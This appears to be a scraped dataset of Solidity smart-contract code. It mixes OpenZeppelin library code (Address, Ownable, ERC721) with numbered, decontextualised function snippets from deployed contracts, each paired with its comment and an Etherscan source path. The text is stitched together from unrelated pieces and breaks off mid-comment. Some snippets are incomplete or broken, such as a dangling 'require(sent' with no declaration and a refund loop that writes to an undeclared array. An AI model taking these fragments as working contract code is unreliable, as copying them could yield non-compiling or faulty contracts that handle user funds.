returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
Update the given pool's info. Can only be called by the owner. _poolId id of the pool _cap the maximum number of staking tokens the pool will receive. If this limit is reached, users can not deposit into this pool. _minInvestment minimum investment users need to use in order to join the pool. _maxInvestment the maximum investment amount users can deposit to join the pool. _APR the APR rate of the pool. _endJoinTime the time when users can no longer join the pool/
function linearSetPool( uint256 _poolId, uint256 _cap, uint256 _minInvestment, uint256 _maxInvestment, uint256 _APR, uint64 _endJoinTime ) external onlyOperator linearValidatePoolById(_poolId) { LinearPoolInfo storage pool = linearPoolInfo[_poolId]; require( _endJoinTime >= block.timestamp && _endJoinTime > pool.startJoinTime, "LinearStakingPool: invalid end join time" ); linearPoolInfo[_poolId].cap = _cap; linearPoolInfo[_poolId].minInvestment = _minInvestment; linearPoolInfo[_poolId].maxInvestment = _maxInvestment; linearPoolInfo[_poolId].APR = _APR; linearPoolInfo[_poolId].endJoinTime = _endJoinTime; }
6,010,666
./full_match/3/0x8F5c42F196a85aD74264FD503b58C550067FC59b/sources/contracts/Timeslots.sol
/This method will be called by admin to add the support staff in future.
function addSupportStaff(address staffAddress) public checkOperationsStatus onlyAdmin { supportStaff[staffAddress] = true; emit NewSupportStaffAdded(staffAddress); }
8,248,118
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; /** * @title Rari Vault interface. */ interface IVault { function deposit(uint256 underlyingAmount) external; function withdraw(uint256 underlyingAmount) external; }
Rari Vault interface./
interface IVault { function deposit(uint256 underlyingAmount) external; function withdraw(uint256 underlyingAmount) external; }
5,357,223
./full_match/1/0xd71f6F000604BC9bdDFdA2e11cD31C4843B9A42A/sources/contracts/stakingNFT/HelixChefNFT.sol
Return the _user's rewards
function _getRewards(address _user) private view returns (uint256) { return users[_user].stakedNfts * accTokenPerShare / REWARDS_PRECISION; }
2,998,901
./full_match/1/0x15315dFc9E2Cc4F7F5456323Ab7010a1A74a337d/sources/contracts/BasePool_v_1_1.sol
Helper function checks if function caller is a valid sender This function is called by addLiquidity, removeLiquidity, repay, rollOver, claim, claimFromAggregated, claimReinvestmentCheck _ownerOrBeneficiary Address which will be owner or beneficiary of transaction if approved _approvalType Type of approval requested { REPAY, ROLLOVER, REMOVE_LIQUIDITY, CLAIM }/
function checkSenderApproval( address _ownerOrBeneficiary, IBasePool_v_1_1.ApprovalTypes _approvalType ) internal view { if ( !(_ownerOrBeneficiary == msg.sender || isApproved[_ownerOrBeneficiary][msg.sender][_approvalType]) ) revert UnapprovedSender(); }
3,121,294
./full_match/3/0x05c1674828f46Ae6363Df30aB7aa3ee1654bF4B8/sources/browser/test.sol
IERC20(kovanDAI).approve(address(this), daiAmountIn);balances[msg.sender] += daiAmountIn; IERC20(kovanDAI).transferFrom(msg.sender, address(this), daiAmountIn);daiToken.transfer(msg.sender, balances[msg.sender]);IERC20 daiToken = IERC20(kovanDAI);require(daiToken.approve(msg.sender, daiAmountIn), "approve failed");require(daiToken.transferFrom(msg.sender, address(this), daiAmountIn), "transferFrom failed");require(daiToken.approve(address(this), daiAmountIn), "approve failed");uint deadline = block.timestamp + 15; using 'now' for convenience, for mainnet pass deadline from frontend!uniswapRouter.swapTokensForExactETH(daiAmountIn, minETHAmountToReceieve, getPathForDAItoETH(), myAccount, deadline);
function convertDAItoETH(uint daiAmountIn, uint minETHAmountToReceieve) external { TEST = 1; IERC20(kovanDAI).transfer(address(this), daiAmountIn); TEST = 3; }
8,167,121
./partial_match/288/0xb2B4863B2a0c606EE633434d56Ebc16FC64DbfC0/sources/contracts/LP/L2LiquidityPool.sol
Users withdraw token from LP _amount amount to withdraw _tokenAddress L2 token address _to receiver to get the funds/ Send initial xBOBA Update accUserRewardPerShare calculate all the rewards and set it as pending rewards Update the user data update reward debt update total user deposit amount
function withdrawLiquidity( uint256 _amount, address _tokenAddress, address payable _to ) external whenNotPaused { PoolInfo storage pool = poolInfo[_tokenAddress]; UserInfo storage user = userInfo[_tokenAddress][msg.sender]; require(pool.l2TokenAddress != address(0), "Token Address Not Registered"); require(user.amount >= _amount, "Requested amount exceeds amount staked"); mintXBOBAForPreOwner(_tokenAddress); updateUserRewardPerShare(_tokenAddress); user.pendingReward = user.pendingReward.add( user.amount.mul(pool.accUserRewardPerShare).div(1e12).sub(user.rewardDebt) ); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accUserRewardPerShare).div(1e12); pool.userDepositAmount = pool.userDepositAmount.sub(_amount); if (_tokenAddress != Lib_PredeployAddresses.OVM_ETH) { IERC20(_tokenAddress).safeTransfer(_to, _amount); require(sent, "Failed to send ovm_Eth"); } emit WithdrawLiquidity( msg.sender, _to, _amount, _tokenAddress ); }
16,906,544
./full_match/44787/0xeD5B106E032DDE671aC3DFC557616af7f5Bb2732/sources/contracts/ERC721Contract.sol
Mint only for owner/
function mintByOwner(address to, string calldata tokenUri) external onlyOwner { uint256 newItemId = _tokenIds.current(); _tokenIds.increment(); _safeMint(to, newItemId); _setTokenURI(newItemId, tokenUri); }
13,253,294
./partial_match/1/0xE9e77b4C7640cDcaEDf57b9307F362dFE42705cc/sources/BWIN.sol
Give back the tokens in case of error Find the game by _gameId Unlock the funds for each player Store the information for the event
function releaseLockedFunds(uint256 _gameId) public { require(msg.sender == owner() || msg.sender == secondaryContract, "Unauthorized"); uint256 gameIndex = 0; bool gameFound = false; for(uint i = 0; i < games.length; i++) { if(games[i].gameId == _gameId && games[i].isActive) { gameIndex = i; gameFound = true; break; } } require(gameFound, "Game not found or already finalized."); Game storage game = games[gameIndex]; uint256[] memory refundedAmounts = new uint256[](game.players.length); for(uint i = 0; i < game.players.length; i++) { address player = game.players[i]; uint256 bet = game.bets[i]; refundedPlayers[i] = player; refundedAmounts[i] = bet; } }
4,362,247
/** *Submitted for verification at Etherscan.io on 2021-08-10 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } } pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - 